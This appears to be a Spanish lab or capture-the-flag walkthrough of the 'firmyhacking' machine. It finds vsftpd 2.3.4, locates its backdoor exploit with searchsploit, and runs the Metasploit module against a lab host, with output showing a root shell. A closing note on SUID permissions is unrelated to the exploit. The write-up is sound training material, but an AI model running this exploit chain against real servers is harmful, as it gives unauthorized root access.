

maquina firmyhacking

SO - LInux 5.6.3

Puertos 21 ftp

vsftpd 2.3.4

Buscamos vulnerabilidades con la herramienta searchsploit en kali.

```
> searchsploit vsftpd 2.3.4

Exploit Title | Path
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb

Shellcodes: No Results
msf6 > search exploit vsftpd 2.3.4

Matching Modules
-----#  Name                                Disclosure Date  Rank      Check  Description
-  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03    excellent  No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > 
```

ataque con metasploit o msfconsole.

```
View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.17.0.1
RHOSTS => 172.17.0.1
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run exploit
[-] Msf::OptionValidateError The following options failed to validate:
[-] Invalid option RHOSTS: Host resolution failed: exploit
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 172.17.0.2:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 172.17.0.2:21 - USER: 331 Please specify the password.
[+] 172.17.0.2:21 - Backdoor service has been spawned, handling ...
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.17.0.1:33617 → 172.17.0.2:6200) at 2025-11-10 15:51:47 -0600
```

acceso a root.

```
root@dc906509816f:~/vsftpd-2.3.4# ls
ls
AUDIT          filestr.c        parseconf.o       standalone.o
BENCHMARKS     filestr.h        port             start-vsftpd.sh
```

```
root@dc906509816f:/# whoami  
whoami  
root  
root@dc906509816f:/#
```

Explicación detallada

- **Permisos especiales:** En los sistemas Linux, los permisos se representan con números octales de cuatro dígitos, donde el primer dígito (o el más a la izquierda) corresponde a los permisos especiales: [SUID](#), [SGID](#) y [sticky bit](#).

Herramientas usadas:

nmap
searchsploit
metasploit